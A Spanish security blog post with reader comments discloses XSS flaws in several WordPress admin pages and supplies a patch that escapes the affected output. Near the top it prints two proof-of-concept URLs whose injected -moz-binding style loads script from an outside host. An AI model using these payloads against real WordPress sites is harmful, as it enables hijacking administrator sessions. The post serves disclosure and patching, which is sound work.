Actualización: g30rg3_x se ha tomado la molestia de preparar un parche más completo para WordPress 2.2.
Siguen reportándose más bugs de WordPress, esta vez afecta a los archivos wp-admin/post-new.php, wp-admin/page-new.php, wp-admin/users-edit.php
. Estos errores al parecer están presentes en todas las versiones de WordPress.
Las pruebas de concepto son las siguientes (sólo funcionan en Firefox, pero también se pueden preparar ejemplos para Internet Explorer):
http://www.site.com/path.to/wp-admin/page-new.php?text=&popupurl=http%3A%2F%2Fha.ckers.org%2Fxss.html&post_title=%22style=-moz-binding:url(%22http://ha.ckers.org/xssmoz.xml%23xss%22)'
http://www.site.com/path.to/wp-admin/user-edit.php?user_id=1&wp_http_referer=%22style=-moz-binding:url(%22http://ha.ckers.org/xssmoz.xml%23xss%22)'
Si alguien no quiere esperar una nueva versión y desea corregir el problema por sus propios medios, puede basarse en el siguiente parche generado a partir de la versión de desarrollo de WordPress:
===================================================================
--- wp-admin/edit-form-advanced.php (revision 5508)
+++ wp-admin/edit-form-advanced.php (working copy)
@@ -140,7 +140,7 @@
<fieldset id="titlediv">
<legend><?php _e('Title') ?></legend>
- <div><input type="text" name="post_title" size="30" tabindex="1" value="<?php echo $post->post_title; ?>" id="title" /></div>
+ <div><input type="text" name="post_title" size="30" tabindex="1" value="<?php echo attribute_escape($post->post_title); ?>" id="title" /></div>
</fieldset>
<fieldset id="<?php echo user_can_richedit() ? 'postdivrich' : 'postdiv'; ?>">
Index: wp-admin/edit-page-form.php
===================================================================
--- wp-admin/edit-page-form.php (revision 5508)
+++ wp-admin/edit-page-form.php (working copy)
@@ -126,7 +126,7 @@
<fieldset id="titlediv">
<legend><?php _e('Page Title') ?></legend>
- <div><input type="text" name="post_title" size="30" tabindex="1" value="<?php echo $post->post_title; ?>" id="title" /></div>
+ <div><input type="text" name="post_title" size="30" tabindex="1" value="<?php echo attribute_escape($post->post_title); ?>" id="title" /></div>
</fieldset>
Index: wp-admin/user-edit.php
===================================================================
--- wp-admin/user-edit.php (revision 5508)
+++ wp-admin/user-edit.php (working copy)
@@ -76,7 +76,7 @@
<form name="profile" id="your-profile" action="user-edit.php" method="post">
<?php wp_nonce_field('update-user_' . $user_id) ?>
<?php if ( $wp_http_referer ) : ?>
- <input type="hidden" name="wp_http_referer" value="<?php echo wp_specialchars($wp_http_referer); ?>" />
+ <input type="hidden" name="wp_http_referer" value="<?php echo clean_url($wp_http_referer); ?>" />
<?php endif; ?>
<p>
<input type="hidden" name="from" value="profile" />
Para los que no estén familiarizados con los parches, deben eliminar las líneas que comienzan con "-" y cambiarlas por las que empiezan por "+".
18 replies on “Más vulnerabilidades XSS para WordPress”
Buenas, he probado los tres exploit con FF 1.0.4 y me redirige a la página de login. El WP es un 2.1.3
Necesitas las credenciales del administrador para que funcione, este tipo de vulnerabilidades normalmente van acompañados de ataques CSRF.
Alex duda; la última parte del DIFF, concretamente la de user-edit.php se refiere a una función que en 2.0.x (o al menos en mi versión) no existe, el trozo que a mí me sale es:
<h2><?php _e('Edit User'); ?></h2>
<form name="profile" id="your-profile" action="user-edit.php" method="post">
<?php wp_nonce_field('update-user_' . $user_id) ?>
<p>
<input type="hidden" name="from" value="profile" />
<input type="hidden" name="checkuser_id" value="<?php echo $user_ID ?>" />
</p>
Como ves, no existe ninguna función wp_http_referer.
Fallos XSS en WordPress: page-new, post-new y user-edit...
Buenas y malas noticias: las buenas es que sólo afecta como administrador a los que tengan “manía Unix” y usen un usuario no-administrador (como es mi caso, que el usuario Armonth es +/- el equivalente a un editor) están a salvo.
Las ma...
@Armonth: Para en 2.0 no existe esa parte, por eso mencionaba que el parche fue generado a partir de la versión de desarrollo (trunk del svn).
Por otro lado, ya está disponible una solución más completa hecha por un desarrollador de WP.
En WP 2.0.10 no encuentro $post->post_title; en los ficheros que más se aproximan:
wp-admin/page-new.post
wp-admin/post.php
wp-admin/user-edit.php
wp-admin/users.php
@maty: Los bugs son accesibles a través de esos archivos, pero en realidad éstos no se encuentran ahí, tal como se aprecia en el parche tienes que corregir los archivos
wp-admin/edit-form-advanced.php
ywp-admin/edit-page-form.php
Sí en:
wp-admin/edit-form.php
wp-admin/edit-form-advanced.php
wp-admin/edit-page-form.php
Vaya, hemos coincidido. Pero yo he encontrado uno más!
Vale, ya estaba avisado, cachis. He actualizado UTI, ahora toca otras, con WP 2.1.
Acabo de terminar un parche mas completo para la serie 2.2 el cual base en el cambio para el trunk y claro añadi lo que le falto...
Te dejo los archivos ya con los cambios hechos y el archivo de diferencias en:
http://www.mediafire.com/?8dwdxwnmduj
Saludos alex
Hola alex...
uno se duerme y salen estas cosas y tantranquilos que ya estabamos.
te dejo un parche que puse en el trac...
http://www.mediafire.com/?8dwdxwnmduj
Gracias por los parches g30r3_x, disculpa por no mostrar antes tus comentarios -- éstos fueron enviados a la cola de spam y hoy recién acabo de verlos.
[...] información sobre las vulnerabilidades a traves de XSS y SQL [...]
[...] desgracia cada vez más habituales) fallos de seguridad de este popular CMS. Por ejemplo este o este. El segundo es el de los hermanos Carrero que, aparte de realizar unas inmejorables traducciones [...]
[...] El día 16 se lanzó una nueva versión de WordPress, tras algunos errores y fallos de seguridad, parece que se ha afianzado, de todas maneras, ya están trabajando en la nueva versión [...]
Mas y Mas Bugs de WordPress...
Cuando las aguas parecían tranquilas salen nuevas vulnerabilidades…
Una de ellas la cual fue descubierta por Waraxe solo afecta a la rama 2.1.x y menores.
Y la otra apenas salio hace unos pocos días a cargo de los famosos ha.ckers.org y que afe...
[...] información sobre las Vulnerabilidades en: http://www.waraxe.us/advisory-50.html http://www.buayacorp.com/archivos/mas-vulnerabilidades-xss-para-wordpress/ http://www.buayacorp.com/archivos/sql-injection-en-wordpress-22-exploit-incluido/ [...]